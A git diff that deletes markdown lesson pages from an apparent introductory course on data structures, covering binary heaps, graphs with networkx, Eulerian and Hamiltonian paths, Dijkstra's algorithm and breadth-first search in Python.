- def buildHeap(self,alist):
- i = len(alist) // 2
- self.currentSize = len(alist)
- self.heapList = [0] + alist[:]
- while (i > 0):
- self.percDown(i)
- i = i - 1
-```
-
-We can now test it out by generating a binary heap and then deleting the minimum element to determine if the functionality of our heap operates properly. Below we will define our binary heap `bh` by calling for the class constructor to intialize our structure. Then we will build our heap by passing in a list of elements.
-
-```python
-bh = BinHeap()
-bh.buildHeap([9,6,5,2,3])
-```
-
-For reference, given the list `[9, 6, 5, 2 ,3]`, our implementation should produce the *Initial Heap* that is shown below:
-
-
-
-To test if our Binary Heap functions appropriately as a Min Heap, we can call `delMin()` to retrieve the minimum value in our tree on each call.
-
-```python
-print(bh.delMin())
-print(bh.delMin())
-print(bh.delMin())
-print(bh.delMin())
-print(bh.delMin())
-```
-
-
-
-After the first delete min, it retrieves node 2 and the tree on the right is the final result.
-
-
-
-The second `delMin()` retrieves node 3.
-
-
-
-The third `delMin()` retrieves node 5.
-
-
-
-The fourth `delMin()` retrieves node 6.
-
-
-
-The fifth `delMin()` retrieves node 9.
-
-The implementation should produce the *Initial Heap* list [2, 3, 5, 6, 9]. After each calling `delMin()`, the print statements will output our list from least to greatest which indicates our Binary/Min Heap functions as such!
-
-| delMin() Order | Print output |
-| :------------: | :----------: |
-| 1st | 2 |
-| 2nd | 3 |
-| 3rd | 5 |
-| 4th | 6 |
-| 5th | 9 |
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/1.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/1.md
deleted file mode 100644
index 2e47b7a8..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/1.md
+++ /dev/null
@@ -1,50 +0,0 @@
-
-
-
-
-
-
-## Graphs
-
-A graph is a collection of *nodes* and *edges* that represents relationships:
-
-- **Nodes** are vertices that correspond to objects.
-
-- **Edges** are the connections between objects.
-
-- The graph edges sometimes have **weights**, which indicate the strength (or some other attribute) of each connection between the nodes
-
- Graphs provide us with a very useful data structure. They can help us to find structure within our data. With the advent of machine learning and big data, managing and manipulating our data has never been more important. Learning a little bit of graph theory will help us with that.
-
- Note that: Trees is a kind of graph. It is a undirected, connected graph without cycles.
-
-### Python Code:
-
-> In order for this to work, you would need to install the modules `networkx` and `matplotlib`
->
-> Open terminal and run the statements `pip3 install networkx` and `pip3 install matplotlib`
-
-NetworkX is a Python library for graphs and networks. Matplotlib is a plotting library in python. With Matplotlib you can generate plots, bar charts, histograms with just a few line of code. We can use Matplotlib to draw graphs.
-
-We can create a Path Graph with linearly connected nodes with the method `path_graph()`. The Python code code uses `matplotlib` and `pyplot` to plot the graph. We will give detailed information on `matplotlib` at a later stage in this activity. For now you can follow this code to print out nodes and edges as well as save your graph to a local image:
-
-```python
-import networkx as nx #set shortcut for networkx
-import matplotlib.pyplot as plt #set shortcut for matplotlib.pyplot
-
-G = nx.path_graph(4) #Return a path graph G of 4 nodes linearly connected by 4-1 edges
-
-print("Nodes of graph: ")
-print(G.nodes()) #return a list of all the nodes in the graph
-print("Edges of graph: ") #nx.draw(G,with_labels=True)
-print(G.edges()) #return a list of all the edges
-nx.draw(G) #Draw the graph G with Matplotlib
-plt.savefig("path_graph1.png") #save the current figure as "path_graph1.png"
-plt.show() # display the graph
-```
-
-The created graph is an undirected linearly connected graph, connecting the integer numbers 0 to 3 in their natural order:
-
-You can use `nx.draw(G,with_labels=True)` to show the labels on the nodes. Note that the direction of the graph doesn't matter.
-
-
\ No newline at end of file
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/10.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/10.md
deleted file mode 100644
index d2aee10e..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/10.md
+++ /dev/null
@@ -1,55 +0,0 @@
-
-
-
-
-
-
-**Step 5**: Now we need to implement our algorithm.
-
-```python
-def dijsktra(graph, initial, end):
- # shortest paths is a dict of nodes
- # whose value is a tuple of (previous node, weight)
- shortest_paths = {initial: (None, 0)}
- current_node = initial
- visited = set()
-```
-
-> Here, we initialized the Dijkstra's algorithm function (Step 1 and 2 from the previous slides.) Instead of unvisited set, we use a visited set this time.
->
-> for example:
->
-> current_node = a
->
-> ###### visited set = {}
->
-> | | a | b | c | d |
-> | -------- | --------- | --------- | --------- | --------- |
-> | visited? | unvisited | unvisited | unvisited | unvisited |
-> | distance | 0 | ∞ | ∞ | ∞ |
-
-
-
-```python
- while current_node != end: # do it recursively, until reach the destination node
- visited.add(current_node) # set current_node as visited
- destinations = graph.edges[current_node]
- weight_to_current_node = shortest_paths[current_node][1]
-
- for next_node in destinations:
- weight = graph.weights[(current_node, next_node)] + weight_to_current_node
- if next_node not in shortest_paths:
- shortest_paths[next_node] = (current_node, weight)
- else:
- current_shortest_weight = shortest_paths[next_node][1]
- #If the distance is smaller than what the node already have, we update the distance of the node.
- if current_shortest_weight > weight:
- shortest_paths[next_node] = (current_node, weight)
-```
-
-> Recall step 3 from previous slide: For the current node, consider all of its unvisited neighbors and calculate their *tentative* distances through the current node. Compare the newly calculated *tentative* distance to the current assigned value and assign the smaller one.
->
-> Step 6 from previous slide: Select the unvisited node that is marked with the smallest tentative distance, set it as the new "current node", and go back to step 3.
->
-> Here we made a code that calculates the distance between nodes and comapre the distance with its neighbours. We then append the shortest distance path to a list. Doing so we are repeating the process of both Step 3 and Step 6 form previous slide.
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/11.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/11.md
deleted file mode 100644
index b2e2d054..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/11.md
+++ /dev/null
@@ -1,50 +0,0 @@
-
-
-
-
-
-
-```python
-next_destinations = {node: shortest_paths[node] for node in shortest_paths if node not in visited}
- if not next_destinations:
- return "Route Not Possible"
- # next node is the destination with the lowest weight
- current_node = min(next_destinations, key=lambda k: next_destinations[k][1])
-```
-
-> Step 4 from previous slide: When we are done considering all of the unvisited neighbors of the current node, mark the current node as visited and remove it from the *unvisited set*. A visited node will never be checked again.
->
-> Here the code checks for if the node is visited or not.
-
-```python
-# Work back through destinations in shortest path
- path = []
- while current_node is not None:
- path.append(current_node)
- next_node = shortest_paths[current_node][0]
- current_node = next_node
- # Reverse path
- path = path[::-1]
- return path
-```
-
-> Step 5 from previous slide: If the destination node has been marked visited (when planning a route between two specific nodes) or if the smallest tentative distance among the nodes in the *unvisited set* is infinity (when planning a complete traversal; occurs when there is no connection between the initial node and remaining unvisited nodes), then stop. The algorithm has finished.
->
-> Here we check the node by using a while loop and see if it is none or not. If it is not in none, we append it to the list called path.
-
-**Step 6**
-
-```python
-print(dijsktra(graph, 'r', 'e'))
-```
-
-> We use the comment print to show the graph.
-
- Output:
-
-``['r', 'a', 'f', 'n', 'e']``
-
-So there we have it, confirmation that the shortest path from X to Y is:
-
-**r -> a -> f -> n -> e**
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/2.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/2.md
deleted file mode 100644
index b8f3d1ad..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/2.md
+++ /dev/null
@@ -1,44 +0,0 @@
-
-
-
-
-
-
-## Undirected graphs
-
-have edges that do not have a direction. The edges indicate a *two-way* relationship, in that each edge can be traversed in both directions. This figure below shows a simple undirected graph. The absence of an arrow tells us that the graph is undirected.
-
-
-
-> The graph can be traversed from node **A** to **B** as well as from node **B** to **A**.
-
-
-
-
-
-> Undirected Graph
-
-
-
-### Python Code:
-
-```python
-import networkx as nx
-import numpy as np
-import matplotlib.pyplot as plt
-
-G = nx.Graph() #Create an empty graph with no nodes and no edges.
-G.add_edges_from(
- [('A','B'),('B','C'),('C','D'),('D','E')]) #add edge AB, BC, CD, DE
-
-nx.draw(G) #Draw the graph G with Matplotlib
-plt.show() # display the graph
-```
-
-> add_edge: Add an edge between u and v. The nodes u and v will be automatically added if they are not already in the graph. Edge attributes can be specified with keywords or by providing a dictionary with key/value pairs.
-
-
-
-### Output:
-
- 
\ No newline at end of file
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/3.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/3.md
deleted file mode 100644
index 5c684269..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/3.md
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
-
-
-## Eulerian Path and Eulerian Cycle
-
-A **Path** in a graph is a sequence of vertices that are connected by edges. It's a specific route you take when you traverse the graph.
-
-A **cycle** in a graph is a path that starts and ends at the same vertex.
-
-A graph is called Eulerian if it has an Eulerian Cycle and called Semi-Eulerian if it has an Eulerian Path.
-
-**Eulerian path** is a path that visits every edge exactly once, but you can revisit the vertices. You may start from a vertice and end the path with another vertice.
-
-**Eulerian Cycle** is a Eulerian path that starts and ends at the same vertex.
-
-
-
-Note that not all the graph have Eulerian path or Eulerian Cycle.
-
- The **degree** of a vertex is the number of edges that are incident to the vertex.
-
-Euler found that graph can have **Eulerian cycle** if and only if all vertices have even degree.
-
-If two vertices have odd degree and all other vertices have even degree. Then it have a **Eulerian path**
-
-
-
- Example of a **Eulerian Path**
-
-
-
-The graph has a **Eulerian Path** , but there is no **Eulerian Cycle** . Note that the `A ` and `C` have odd degree.
-
-
-
- Example of a **Eulerian Cycle**
-
-
-
-This is an example of a **Eulerian Cycle** . All the vertices have a even degree. Follow the path `C` `A` `B` `C` `D` `E` `C`
\ No newline at end of file
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/4.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/4.md
deleted file mode 100644
index 0a632f87..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/4.md
+++ /dev/null
@@ -1,47 +0,0 @@
-
-
-
-
-
-
-## Hamiltonian Path and Hamiltonian Cycle
-
-Instead of focusing on edges, how we are gong to focus on vertexs.
-
-A **Hamiltonian Path** is a path that visits every vertex once.
-
-A **Hamiltonian Cycle** is a Hamiltonian Path that begins and ends at the same vertex.
-
-
-
-**Königsberg Bridge Problem**
-
-There are seven bridges in the city. The question is is it possible to cross all the seven bridges once to walk though the whole city.
-
-In order to solve the problem, Euler turn the map in to a graph. Each island or land are represent as vertices, and each bridge are repersent as edges connected the vertices.
-
-
-
-
-
-There is no Euler Path, cause there are too many vertices with odd edges. In order to visit all the bridges people have to revisit the land or island.
-
-Another eample of a graph that doesn't have **Hamiltonian Path**
-
-
-
-Note that there are two vertices `A` `B` have odd degree.
-
-Example of **Hamiltonian Path**
-
-
-
-This graph have **Hamiltonian Path** `A` `B` `C` `D` `E` `B`. But it doesn't have a **Hamiltonian Cycle**
-
-
-
-Example of **Hamiltonian Cycle**
-
-You can choose whatever vertice you want and follow the same direction until you return to the first vertice
-
-
\ No newline at end of file
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/5.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/5.md
deleted file mode 100644
index cac449aa..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/5.md
+++ /dev/null
@@ -1,82 +0,0 @@
-
-
-
-
-
-
-## Directed graphs
-
-Directed graphs have edges with direction. The edges indicate a *one-way* relationship, in that each edge can only be traversed in a single direction. This figure below shows a simple directed graph. Edges are usually represented by arrows pointing in the direction the graph can be traversed.
-
-
-
-
-
-
-
-> The graph can be traversed from vertex **A** to **B**, but not from vertex **B** to **A**.
-
-
-
-
-
-> Directed Graph
-
-
-
-### Python Code:
-
-```python
-import networkx as nx
-import matplotlib.pyplot as plt
-
-G = nx.DiGraph() #Create an empty directed graph structure with no nodes and no edges.
-G.add_edges_from(
- [('A','B'),('B','C'),('C','D'),('D','E')]) #add edges A to B, B to C, C to D, D to E
-# cause it's a directed graph the order matters. ('B','A'), will create a edge from B to A
-
-# set the values to determine nodes' color
-val_map = {'A': 1.0,
- 'D': 0.5714285714285714,
- 'H': 0.0}
-
-values = [val_map.get(node, 0.25) for node in G.nodes()]
-
-
-```
-
-> Here we inputted the number or edges and stored the values of them into val_map (a dictionary*) We then can use the values in val_map to print out the visualization of the graph by making a values list. * and use the get()* function.
-
-> *A list is created by placing all the items (elements) inside a square bracket [ ], separated by commas.It can have any number of items and they may be of different types (integer, float, string etc.).
-
-> *The get() method is used with a dictionary. It returns the value for the specified key if key is in dictionary.
-
-```python
-# set edge colors and specify the edges you want here
-red_edges = [('A', 'B'), ('B', 'C'),('C','D'),('D','E')]
-edge_colours = ['black' if not edge in red_edges else 'red'
- for edge in G.edges()]
-black_edges = [edge for edge in G.edges() if edge not in red_edges]
-
-# Need to create a layout when doing
-# separate calls to draw nodes and edges
-pos = nx.spring_layout(G)
-#draw the nodes of G
-nx.draw_networkx_nodes(G, pos, cmap=plt.get_cmap('jet'),
- node_color = values, node_size = 500)
-# draw labels on nodes of G
-nx.draw_networkx_labels(G, pos)
-#draw the edges
-nx.draw_networkx_edges(G, pos, edgelist=red_edges, edge_color='r', arrows=True)
-nx.draw_networkx_edges(G, pos, edgelist=black_edges, arrows=False)
-plt.show()
-```
-
-> Here the nx represents the networkx module that we imported in the very beginning. The draw_networkx_nodes, draw_networkx_labels, and draw_networkx_edges are some of the fucntions of the module. They are used to draw out nodes, node labels, and edges on the graph.
-
-
-
-### Output:
-
-
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/6.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/6.md
deleted file mode 100644
index 1bfb00aa..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/6.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-
-
-
-
-
-## Dijkstra's algorithm
-
- is used to find the shortest path between *a* and *b* (from nodes to nodes). It picks the unvisited vertex with the low distance, calculates the distance through it to each unvisited neighbor, and updates the neighbor's distance if smaller. It was conceived by computer scientist, Edsger W. Dijkstra, in 1956 and published three years later.
-
-Some characteristics for Dijkstra's algorithm:
-
-- Dijkstra's algorithm works on both directed and undirected graphs
-
-- All edges must have nonnegative weights
-
-- Graph must be connected
-
-Dijkstra's algorithm will assign some initial distance values and will try to improve them step by step.
-
-##### Initializing the graph:
-
-1. Mark all nodes as unvisited. Create a set of all the unvisited nodes called the *`unvisited set`*.
-
- **unvisited set = {"a", "b", "c", "d"}**
-
- 
-
-2. In order to keep track of the total distance from the start node to its destination, we use `distance` to store the current total weight of the smallest path.
-
- Assign to every node a tentative distance value, set the distance equal to zero for our initial node(since it's 0 away from the initial node) and set the distance to infinity for all other nodes.
-
- Also, set the initial node as current, as we are going to process the initial node first. In this case, we start with node a.
-
- 
-
-###### **current_node = a**
-
-###### **unvisited set = {"a", "b", "c", "d"}**
-
-| | a | b | c | d |
-| -------- | --------- | --------- | --------- | --------- |
-| visited? | unvisited | unvisited | unvisited | unvisited |
-| distance | 0 | ∞ | ∞ | ∞ |
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/7.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/7.md
deleted file mode 100644
index 2e30799b..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/7.md
+++ /dev/null
@@ -1,103 +0,0 @@
-
-
-
-
-
-
-## Using Dijkstra's Algorithm on the current graph:
-
-
-
-
-
-
-
-###### current_node = a
-
-| | a | b | c | d |
-| -------- | --------- | --------- | --------- | --------- |
-| visited? | unvisited | unvisited | unvisited | unvisited |
-| distance | 0 | ∞ | ∞ | ∞ |
-
-
-
-3. For the current node, consider all of its unvisited neighbours and calculate their *tentative* distances through the current node. If the distance is smaller than what the node already have, we update the distance of the node.
-
- 
-
- ###### current_node = a
-
- ###### unvisited set = {"a", "b", "c", "d"}
-
- | | a | b | c | d |
- | -------- | --------- | --------- | --------- | --------- |
- | visited? | unvisited | unvisited | unvisited | unvisited |
- | distance | 0 | 6 | ∞ | ∞ |
-
- In this case, `a ` have 2 neighbours` b` and` c`. Both `b` and `c` are unvisited. So we calculate their distances. First, we process`b`. `b` will have a new distance of 6, as b is 6 away from the initial node `a` and 6 is smaller than ∞. Thus, we will update the distance for `b` to be 6.
-
-
-
- Now, we process node `c`:
-
- 
-
-###### current_node = a
-
-###### unvisited set = {"a", "b", "c", "d"}
-
-| | a | b | c | d |
-| -------- | --------- | --------- | --------- | --------- |
-| visited? | unvisited | unvisited | unvisited | unvisited |
-| distance | 0 | 6 | 4 | ∞ |
-
- Going through the same process as node `b`, the distance of `c` will now be updated to 4
-
-4. When we are done considering all of the unvisited neighbors of the current node, mark the current node as visited and remove it from the *`unvisited set`*.
-
-###### current_node = a
-
-###### unvisited set = { "b", "c", "d"}
-
-| | a | b | c | d |
-| -------- | ------- | --------- | --------- | --------- |
-| visited? | visited | unvisited | unvisited | unvisited |
-| distance | 0 | 6 | 4 | ∞ |
-
-
-
-5. If the destination node has been marked visited (when planning a route between two specific nodes) or if the smallest tentative distance among the nodes in the *unvisited set* is infinity (when planning a complete traversal; occurs when there is no connection between the initial node and remaining unvisited nodes), then stop. The algorithm has finished.
-6. Otherwise, select the unvisited node that is marked with the smallest tentative distance, set it as the new "current node", and go back to step 3.
-
-
-
-###### current_node = c
-
-###### unvisited set = { "b", "d"}
-
-| | a | b | c | d |
-| -------- | ------- | --------- | ------- | --------- |
-| visited? | visited | unvisited | visited | unvisited |
-| distance | 0 | 6 | 4 | 10 |
-
-Since `c` has a smaller distance than b we process c first. And We update distance of `d` to 10 as 4 + 6 = 10. We mark c as visited and delete it from the *`unvisited set`*
-
-Then we process the node `b` as the distance of `b` is smaller than the distance of `d`
-
-
-
-
-
-###### current_node = b
-
-###### unvisited set = {"d"}
-
-| | a | b | c | d |
-| -------- | ------- | ------- | ------- | --------- |
-| visited? | visited | visited | visited | unvisited |
-| distance | 0 | 6 | 4 | 8 |
-
-`b` has a unvisited neighbour `d` . Going through `b`, the path from `a` to ` d` is 6 + 2 = 8 which is smaller than 10 ( `d`'s current distance'). Thus, we update the distance of `d` to 8. Set `b` as visited and deleted it from the *`unvisited set`*.
-
-According to step 5, since we only have a unvisited node left and it's already updated to it's smallest path. We're done !
-
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/8.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/8.md
deleted file mode 100644
index 559199c2..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/8.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-
-
-
-
-
-### Travel in Europe (Dijkstra's algorithm real life application)
-
-Let's say we need to find out the shortest path from point r to point e in Europe, we can use Dijkstra's algorithm.
-Suppose that any geographical map as a graph. Now locations in the map are our **nodes** in algorithm.
-And road between loacations are **edges.** **Weights** of the edges are the distance between those two locations here.
-
-
-
-
-We’ll start by constructing this graph in Python:
-
-**Step 1:** Create a class called Graph. Use the `__init__()` function to assign values for edges and weights.
-
-```python
-from collections import defaultdict
-
-class Graph():
- def __init__(self):
- """
- self.edges is a dict of all possible next nodes
- e.g. {'r': ['i', 'a', 'b', 'd'], ...}
- self.weights has all the weights between two nodes,
- with the two nodes as a tuple as the key
- e.g. {('r', 'i'): 7, ('r', 'a'): 2, ...}
- """
- self.edges = defaultdict(list)
- self.weights = {}
-```
-
-**Step 2:** Create a function inside class Graph, which add directed weighted edges to the graph.
-
-```python
-def add_edge(self, from_node, to_node, weight):
- # Note: assumes edges are bi-directional
- self.edges[from_node].append(to_node)
- self.edges[to_node].append(from_node)
- self.weights[(from_node, to_node)] = weight
- self.weights[(to_node, from_node)] = weight
-```
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/9.md b/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/9.md
deleted file mode 100644
index 828564db..00000000
--- a/Module4.2_Intermediate_Data_Structures/activities/Act4_Graphs/9.md
+++ /dev/null
@@ -1,42 +0,0 @@
-
-
-
-
-
-
-**Step 3**: Assign the class Graph to a variable graph, so that we can use the function in the class.
-
-```python
-graph = Graph()
-```
-
-
-
-**Step 4**: Implement the Europe travel graph with it's all directed weighted edges
-
-```edges = [
-edges = [('r', 'i', 7),
- ('r', 'a', 2),
- ('r', 'b', 3),
- ('r', 'g', 4),
- ('i', 'a', 3),
- ('i', 'm', 4),
- ('a', 'm', 4),
- ('a', 'f', 5),
- ('b', 'd', 2),
- ('m', 'c', 1),
- ('c', 'f', 3),
- ('n', 'f', 2),
- ('n', 'e', 2),
- ('k', 'l', 6),
- ('k', 'j', 4),
- ('k', 'd', 4),
- ('l', 'd', 1),
- ('j', 'e', 5),
-]
-
-for edge in edges:
- graph.add_edge(*edge)
-```
-
-Now, we should have a Europe travel graph just like the one showed before.
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/.DS_Store b/Module4.3_Search_and_Sorting_Algorithms/.DS_Store
deleted file mode 100644
index 84f204ed..00000000
Binary files a/Module4.3_Search_and_Sorting_Algorithms/.DS_Store and /dev/null differ
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/.DS_Store b/Module4.3_Search_and_Sorting_Algorithms/activities/.DS_Store
deleted file mode 100644
index c65ae58a..00000000
Binary files a/Module4.3_Search_and_Sorting_Algorithms/activities/.DS_Store and /dev/null differ
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/1.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/1.md
deleted file mode 100755
index 91eec982..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/1.md
+++ /dev/null
@@ -1,44 +0,0 @@
-
-
-
-
-
-
-**The Importance of Searching**
-
-Searching is the process of finding an element in a data structure, and in computer science, there are many different kinds of sorting, such as linear search, binary search, depth-first search, breadth-first search, and so on. We will be explaining these searching methods in more depth in this activity, and we will start with breadth-first search below! Searching is a key concept in computer science—the applications are endless!
-
-Suppose, for example, I love watching movies. I have collections of all of the *Harry Potter*, *The Lord of the Rings*, and *James Bond* films. I have invited some friends to binge-watch them with me tomorrow morning, but I woke up late and need to find the movies quickly! How can I find the movies that I want to watch in the most efficient manner possible, before the doorbell rings?
-
-
-
-Now extend this problem to wide-scale computer systems. What if we needed to find certain information (say, for example, medical records) from stored data in a timely fashion? What sort of algorithms should we implement? Luckily, Computer Scientists have developed answers for us!
-
-
-
-**The Importance of Graphs**
-
-A graph in computer science is a visual representation of a set of nodes that are connected together by edges, and graphs allow us to view information and relationships in data structures in a way that is easier to read and understand!
-
-What can we do with graphs? Graph traversal, or graph search, is the process of visiting each vertex in a graph. This is important because, as we traverse through a graph, we can change or update each vertex that is visited, which can be very useful!
-
-How can we store graphs? Graphs can be stored in lists and matrices, and for instance, the two most commonly-used methods to store a graph are in an adjacency list and an adjacency matrix. An adjacency list is an array that notes each node with the vertices that are directly connected, or adjacent, to it by an edge, and an adjacency matrix is a matrix that notes which nodes are adjacent to each other with a "1" (if the nodes are not adjacent, then this is noted by a "0").
-
-
-
-**Breadth-first search (BFS)**
-
-Now that we have learned about the importance of searching and graphs, let's start learning more about different kinds of searching algorithms, starting with Breadth-first search (BFS)!
-
-Breadth-first search (BFS) is an algorithm for traversing or searching tree or graph data structures. It starts at the tree root (or some arbitrary node of a graph, sometimes referred to as a 'search key'), and explores all of the neighbor nodes at the present depth prior to moving on to the nodes at the next depth level.
-
-
-
-As in the example given above, BFS algorithm starts at S, traverses to A, B, and C (the first layer), then traverses to D, E, and F (second layer), and then finally to G (third layer). More formally, BFS employs the following rules.
-
-- **Rule 1** − Visit the adjacent unvisited vertex. Mark it as visited. Display it. Insert it in a queue.
-- **Rule 2** − If no adjacent vertex is found, remove the first vertex from the queue.
-- **Rule 3** − Repeat Rule 1 and Rule 2 until the queue is empty.
-
-
-
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/2.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/2.md
deleted file mode 100755
index f3b8e001..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/2.md
+++ /dev/null
@@ -1,190 +0,0 @@
-
-
-
-
-
-
-**Implementing Breadth-First Search (BFS)**
-
-This code is used to test our BFS algorithm. Let's see what each step does.
-
-```python
-g = Graph()
-g.addEdge(0, 1)
-g.addEdge(0, 2)
-g.addEdge(1, 2)
-g.addEdge(2, 0)
-g.addEdge(2, 3)
-g.addEdge(3, 3)
-
-print ("Following is Breadth First Traversal"
- " (starting from vertex 2)")
-g.BFS(2)
-```
-
-
-We first construct an empty Graph object. This is what we will traverse using the BFS function.
-
-```python
-g = Graph()
-```
-
-We then add edges between our vertices as we build our graph.
-
-```python
-g.addEdge(0, 1)
-g.addEdge(0, 2)
-g.addEdge(1, 2)
-g.addEdge(2, 0)
-g.addEdge(2, 3)
-g.addEdge(3, 3)
-```
-A visual representation of this code would look like this:
-
-
-
-Finally, we call our BFS function on our newly constructed graph, starting at vertex 2. This will print out the order in which the vertices were visited by our BFS algorithm.
-
-```python
-print ("Following is Breadth First Traversal"
- " (starting from vertex 2)")
-g.BFS(2)
-```
-We've learned how to build a graph by adding edges between its vertices and print out a BFS traversal of our graph, but how is the BFS internally implemented?
-
-The first step in implementing the BFS algorithm is to create a Graph class.
-
-```python
-from collections import defaultdict
-class Graph:
-
- def __init__(self):
- self.graph = defaultdict(list)
-```
-
-Naturally, a `Graph` object should have an `addEdge` function, so that vertices can be connected to one another.
-
-```python
-def addEdge(self,u,v):
- self.graph[u].append(v)
-```
-The `addEdge` function takes as arguments the two vertices of the graph that you wish to connect (`u` and `v`). `self.graph[u].append(v)` takes the vertex `u` and adds (through `append`) the vertex `v` to the list of vertices that are adjacent to `u`. This means that the graph has an edge from `u` to `v`!
-
-The following is a visual representation of these adjacency lists:
-
-
-
-
-Now we add the `BFS` function to our class. The `BFS` function takes the vertex from which we are to start our search (`s`) as an argument. Here is the code for the BFS algorithm. Let's break each step down, line-by-line.
-
-
-```python
-def BFS(self, s):
-```
-`visited` is an array that keeps track of the vertices that have already been visited (marked `True` when visited). We initialize this to `False` for every vertex, as at the start of the algorithm, no vertices have been visited yet.
-
-```python
-visited = [False] * (len(self.graph))
-```
-
-
-We need a queue (recall the First-In, First Out rule) for the order in which the vertices are visited. Since no vertices have been visited yet, we initalize the queue to be empty.
-
-
-``` python
-queue = []
-```
-
-Before we get into the meat of the algorithm, skim this diagram. As you read the implementation details, continue to refer back to this diagram to check your understanding.
-
-
-
-To begin the search, we insert the start node (`s`) into the queue and mark `s` as visited by changing `visited[s]` to `True`.
-
-
-```python
-queue.enqueue(s)
-visited[s] = True
-```
-
-We want the algorithm to end once the queue is empty, as this signifies that all of the nodes of the graph have been visited. As a result, we give the condition `while queue` (i.e. run the body of the loop while the queue still has an element in it).
-
-```python
- while queue:
- s = queue.dequeue()
- print (s, end = " ")
-```
-
-The first step of the `while` loop is to dequeue the first element, which means we remove the first element from the queue.
-
-```python
-s = queue.dequeue()
-```
-
-Initially, we had only pushed the start node (argument `s`) into the queue, so at this point, it will be removed and stored in `s`, which now serves as a temporary variable for storing the last dequeued vertex.
-
-We then print the element to the console. The order in which the elements will be printed to the console will indicated the order in which they were visited in the BFS algorithm.
-
-```python
-print (s, end = " ")
-```
-
-Now, we must check which of the adjacent vertices of `s` (the last vertex dequeued from the queue) have been visited. If the adjacent vertices have not been visited, we add them to our queue and mark them as visited. This is done for through the following `for` loop. Once again, let's break down each line.
-
-```python
- for i in self.graph[s]:
- if visited[i] == False:
- queue.enqueue(i)
- visited[i] = True
-```
-
- The `for` loop header runs for every vertex adjacent to (i.e. has an edge to) the last vertex popped from the queue (`s`). It accesses the adjacent vertices with `self.graph` from the constructor method, using `[s]` to indicate where to start from.
-
-```python
-for i in self.graph[s]:
-```
-
-In the body of the for loop, `i` represents the current adjacent (to `s`) vertex we are observing. We then refer to the `visited` array and check if the vertex has already been visited.
-
-```python
-if visited[i] == False:
-```
-
- If `i` has already been visited (`visited[i] == True`) we should return to the top of the `for` loop and continue the algorithm with the next vertex adjacent to `s`. However, if the element has not been visited (`visited[i] == False`), we will have to perform additional work in order to ensure the element is recognized as visited.
-
-First, we must add `i` to the queue. This is so that we can process the neighbors of `i` when we dequeue it later in the algorithm.
-
-```python
-queue.enqueue(i)
-```
-
- We also must change the value of `i` in `visited` to `True`, so that for the rest of the algorithm, it is known that this vertex has been visited.
-
-```python
-visited[i] = True
-```
-
-After all the adjacent vertices of `s` are processed in the `for` loop, we jump back to the top of `while` loop and check if the queue still has vertices in it (`while queue`). If the queue is empty, the algorithm terminates as we have visited (and printed to the console) all the vertices in BFS order. Otherwise, we pop the first element from the queue and repeat the procedure until all vertices have been visited.
-
-Now we put everything together and we get the following:
-
-```python
-def BFS(self, s):
- visited = [False] * (len(self.graph))
- queue = []
- queue.append(s)
- visited[s] = True
- while queue:
- s = queue.pop(0)
- print (s, end = " ")
- for i in self.graph[s]:
- if visited[i] == False:
- queue.append(i)
- visited[i] = True
-```
-
-And thats the implementation of the BFS algorithm! The following diagram may also help you visualize the process:
-
-
-
-Next, we will explore Depth First Searches (DFS).
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/3.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/3.md
deleted file mode 100755
index f81309a0..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/3.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
